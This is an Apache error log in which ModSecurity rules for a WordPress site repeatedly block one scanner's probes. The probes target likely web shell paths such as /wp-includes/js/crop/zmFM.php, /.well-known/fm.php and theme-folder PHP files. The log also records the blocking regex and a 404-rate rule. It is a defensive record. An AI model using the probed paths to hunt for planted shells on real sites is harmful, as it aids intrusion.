[Sun Nov 23 19:34:21.363629 2025] [:error] [pid 17534:tid 17553] [client 4.210.81.99:51052] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSLxPXPX9nXBrhgM8syEIQAAAdE"]
[Sun Nov 23 19:34:23.057494 2025] [proxy_fcgi:error] [pid 16066:tid 16074] [client 4.210.81.99:50627] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 19:34:23.308975 2025] [:error] [pid 16066:tid 16072] [client 4.210.81.99:50627] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/0.php"] [unique_id "aSLxP_q-c47Q5mW5E9G4RQAAAYM"]
[Sun Nov 23 19:34:26.032043 2025] [:error] [pid 16066:tid 16082] [client 4.210.81.99:51943] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSLxQvq-c47Q5mW5E9G4UAAAAY0"]
[Sun Nov 23 19:34:32.052749 2025] [:error] [pid 17534:tid 17556] [client 4.210.81.99:50636] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/themes.php"] [unique_id "aSLxSHPX9nXBrhgM8syELAAAAdQ"]
[Sun Nov 23 19:34:35.041263 2025] [:error] [pid 17534:tid 17560] [client 4.210.81.99:57687] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/themes.php"] [unique_id "aSLxS3PX9nXBrhgM8syEMQAAAdg"]
[Sun Nov 23 19:34:38.725697 2025] [:error] [pid 38738:tid 38747] [client 4.210.81.99:57713] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/themes.php"] [unique_id "aSLxTgytc6TL9XavPmNC6wAAAAU"]
[Sun Nov 23 19:34:42.901560 2025] [:error] [pid 17534:tid 17536] [client 4.210.81.99:14195] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/themes.php"] [unique_id "aSLxUnPX9nXBrhgM8syEQQAAAcA"]
[Sun Nov 23 19:34:45.786385 2025] [:error] [pid 17534:tid 17549] [client 4.210.81.99:51956] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "aSLxVXPX9nXBrhgM8syERAAAAc0"]
[Sun Nov 23 19:34:47.093637 2025] [:error] [pid 14602:tid 14638] [client 4.210.81.99:13741] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "aSLxVx-I77jdD81pU-nd_wAAAVE"]
[Sun Nov 23 19:34:50.056826 2025] [:error] [pid 44652:tid 44710] [client 4.210.81.99:14207] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "aSLxWtiQFwsyXQDhwyAHEwAAAQQ"]
[Sun Nov 23 19:34:52.931180 2025] [:error] [pid 38824:tid 38833] [client 4.210.81.99:51929] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "aSLxXE8WZjXLvbHTHPf08AAAAMY"]
[Sun Nov 23 19:34:54.683931 2025] [:error] [pid 38738:tid 38743] [client 4.210.81.99:14160] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aSLxXgytc6TL9XavPmNC_wAAAAE"]
[Sun Nov 23 19:34:56.698316 2025] [:error] [pid 38738:tid 38750] [client 4.210.81.99:51958] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aSLxYAytc6TL9XavPmNDAgAAAAg"]
[Sun Nov 23 19:34:58.964701 2025] [:error] [pid 16066:tid 16080] [client 4.210.81.99:50682] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aSLxYvq-c47Q5mW5E9G4aQAAAYs"]
[Sun Nov 23 19:35:02.171823 2025] [:error] [pid 16066:tid 16082] [client 4.210.81.99:13754] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aSLxZvq-c47Q5mW5E9G4cAAAAY0"]
[Sun Nov 23 19:35:04.520181 2025] [:error] [pid 44652:tid 44713] [client 4.210.81.99:50685] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSLxaNiQFwsyXQDhwyAHGQAAAQc"]
[Sun Nov 23 19:35:09.847734 2025] [:error] [pid 38739:tid 38772] [client 4.210.81.99:50671] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSLxbQdvEgJm2n2cDmpsfgAAAEM"]
[Sun Nov 23 19:35:12.805917 2025] [:error] [pid 17534:tid 17549] [client 4.210.81.99:51939] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSLxcHPX9nXBrhgM8syEWwAAAc0"]
[Sun Nov 23 19:35:14.315825 2025] [:error] [pid 38738:tid 38759] [client 4.210.81.99:13744] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSLxcgytc6TL9XavPmNDFAAAABE"]
[Sun Nov 23 19:35:17.006082 2025] [:error] [pid 14602:tid 14626] [client 4.210.81.99:50466] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/17.php"] [unique_id "aSLxdR-I77jdD81pU-neCQAAAUU"]
[Sun Nov 23 19:35:19.283074 2025] [:error] [pid 38740:tid 38815] [client 4.210.81.99:14130] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/17.php"] [unique_id "aSLxdw13QPZSi6O8umXlYwAAAJM"]
[Sun Nov 23 19:35:23.328509 2025] [:error] [pid 44652:tid 44706] [client 4.210.81.99:14153] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/17.php"] [unique_id "aSLxe9iQFwsyXQDhwyAHLQAAAQA"]
[Sun Nov 23 19:35:35.900513 2025] [:error] [pid 38739:tid 38779] [client 4.210.81.99:13728] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSLxhwdvEgJm2n2cDmpskwAAAEo"]
[Sun Nov 23 19:35:53.166868 2025] [:error] [pid 38739:tid 38779] [client 4.210.81.99:13711] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "aSLxmQdvEgJm2n2cDmpsoAAAAEo"]
[Sun Nov 23 19:35:55.193387 2025] [:error] [pid 38824:tid 38845] [client 4.210.81.99:13661] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "aSLxm08WZjXLvbHTHPf1CgAAANI"]
[Sun Nov 23 19:36:00.344763 2025] [:error] [pid 14602:tid 14638] [client 4.210.81.99:57712] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "aSLxoB-I77jdD81pU-neIgAAAVE"]
[Sun Nov 23 19:36:02.673806 2025] [:error] [pid 38824:tid 38846] [client 4.210.81.99:13708] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "aSLxok8WZjXLvbHTHPf1DgAAANM"]
[Sun Nov 23 19:36:05.937882 2025] [:error] [pid 14602:tid 14645] [client 4.210.81.99:51012] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q.php"] [unique_id "aSLxpR-I77jdD81pU-neJQAAAVg"]
[Sun Nov 23 19:36:08.974284 2025] [:error] [pid 38824:tid 38849] [client 4.210.81.99:57718] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q.php"] [unique_id "aSLxqE8WZjXLvbHTHPf1EQAAANY"]
[Sun Nov 23 19:36:11.042158 2025] [:error] [pid 44652:tid 44727] [client 4.210.81.99:57679] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q.php"] [unique_id "aSLxq9iQFwsyXQDhwyAHaAAAARU"]
[Sun Nov 23 19:36:12.253163 2025] [:error] [pid 44652:tid 44722] [client 4.210.81.99:14186] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/q.php"] [unique_id "aSLxrNiQFwsyXQDhwyAHbAAAARA"]
[Sun Nov 23 19:36:13.615742 2025] [:error] [pid 38739:tid 38793] [client 4.210.81.99:57671] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/123.php"] [unique_id "aSLxrQdvEgJm2n2cDmpsrQAAAFg"]
[Sun Nov 23 19:36:17.366234 2025] [:error] [pid 38740:tid 38798] [client 4.210.81.99:14106] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/123.php"] [unique_id "aSLxsQ13QPZSi6O8umXlpgAAAII"]
[Sun Nov 23 19:36:19.775942 2025] [:error] [pid 17534:tid 17541] [client 4.210.81.99:13635] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/123.php"] [unique_id "aSLxs3PX9nXBrhgM8syEjQAAAcU"]
[Sun Nov 23 19:36:22.238350 2025] [:error] [pid 16066:tid 16077] [client 4.210.81.99:14188] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/123.php"] [unique_id "aSLxtvq-c47Q5mW5E9G4ngAAAYg"]
[Sun Nov 23 19:36:25.405162 2025] [:error] [pid 17534:tid 17560] [client 4.210.81.99:57709] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSLxuXPX9nXBrhgM8syEmQAAAdg"]
[Sun Nov 23 19:36:27.148788 2025] [:error] [pid 16066:tid 16078] [client 4.210.81.99:13720] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSLxu_q-c47Q5mW5E9G4nwAAAYk"]
[Sun Nov 23 19:36:29.999512 2025] [:error] [pid 44652:tid 44727] [client 4.210.81.99:13643] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSLxvdiQFwsyXQDhwyAHdgAAARU"]
[Sun Nov 23 19:36:31.193273 2025] [:error] [pid 17534:tid 17536] [client 4.210.81.99:50666] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSLxv3PX9nXBrhgM8syEngAAAcA"]
[Sun Nov 23 19:36:34.299829 2025] [:error] [pid 38739:tid 38792] [client 4.210.81.99:57672] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aSLxwgdvEgJm2n2cDmpsvgAAAFc"]
[Sun Nov 23 19:36:37.320984 2025] [:error] [pid 38824:tid 38838] [client 4.210.81.99:50650] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aSLxxU8WZjXLvbHTHPf1JAAAAMs"]
[Sun Nov 23 19:36:41.300818 2025] [:error] [pid 44652:tid 44728] [client 4.210.81.99:50646] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aSLxydiQFwsyXQDhwyAHhAAAARY"]
[Sun Nov 23 19:36:44.273764 2025] [:error] [pid 16066:tid 16076] [client 4.210.81.99:51909] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aSLxzPq-c47Q5mW5E9G4vQAAAYc"]
[Sun Nov 23 19:36:49.081264 2025] [:error] [pid 44652:tid 44712] [client 4.210.81.99:50675] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uploads/multi.php"] [unique_id "aSLx0diQFwsyXQDhwyAHmwAAAQY"]
[Sun Nov 23 19:36:50.291373 2025] [:error] [pid 38738:tid 38748] [client 4.210.81.99:13759] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uploads/multi.php"] [unique_id "aSLx0gytc6TL9XavPmNDhgAAAAY"]
[Sun Nov 23 19:37:34.305831 2025] [:error] [pid 16066:tid 16077] [client 4.210.81.99:13710] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aSLx_vq-c47Q5mW5E9G41gAAAYg"]
[Sun Nov 23 19:37:35.963497 2025] [:error] [pid 38740:tid 38817] [client 4.210.81.99:13752] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aSLx_w13QPZSi6O8umXmNQAAAJU"]
[Sun Nov 23 19:37:37.490323 2025] [:error] [pid 14602:tid 14635] [client 4.210.81.99:50639] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aSLyAR-I77jdD81pU-neXgAAAU4"]
[Sun Nov 23 19:37:43.618367 2025] [:error] [pid 14602:tid 14632] [client 4.210.81.99:57700] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sim.php"] [unique_id "aSLyBx-I77jdD81pU-neYgAAAUs"]
[Sun Nov 23 19:37:45.145334 2025] [:error] [pid 44652:tid 44729] [client 4.210.81.99:13723] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aSLyCdiQFwsyXQDhwyAIBwAAARc"]
[Sun Nov 23 19:37:46.414965 2025] [:error] [pid 16066:tid 16075] [client 4.210.81.99:51946] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aSLyCvq-c47Q5mW5E9G44wAAAYY"]
[Sun Nov 23 19:37:48.130575 2025] [:error] [pid 14602:tid 14623] [client 4.210.81.99:46862] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aSLyDB-I77jdD81pU-neZgAAAUI"]
[Sun Nov 23 19:37:50.907254 2025] [:error] [pid 14602:tid 14645] [client 4.210.81.99:51915] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aSLyDh-I77jdD81pU-nebAAAAVg"]
[Sun Nov 23 19:37:53.964708 2025] [:error] [pid 38738:tid 38746] [client 4.210.81.99:50493] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "aSLyEQytc6TL9XavPmNDngAAAAQ"]
[Sun Nov 23 19:37:56.633744 2025] [:error] [pid 14602:tid 14644] [client 4.210.81.99:51967] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "aSLyFB-I77jdD81pU-necAAAAVc"]
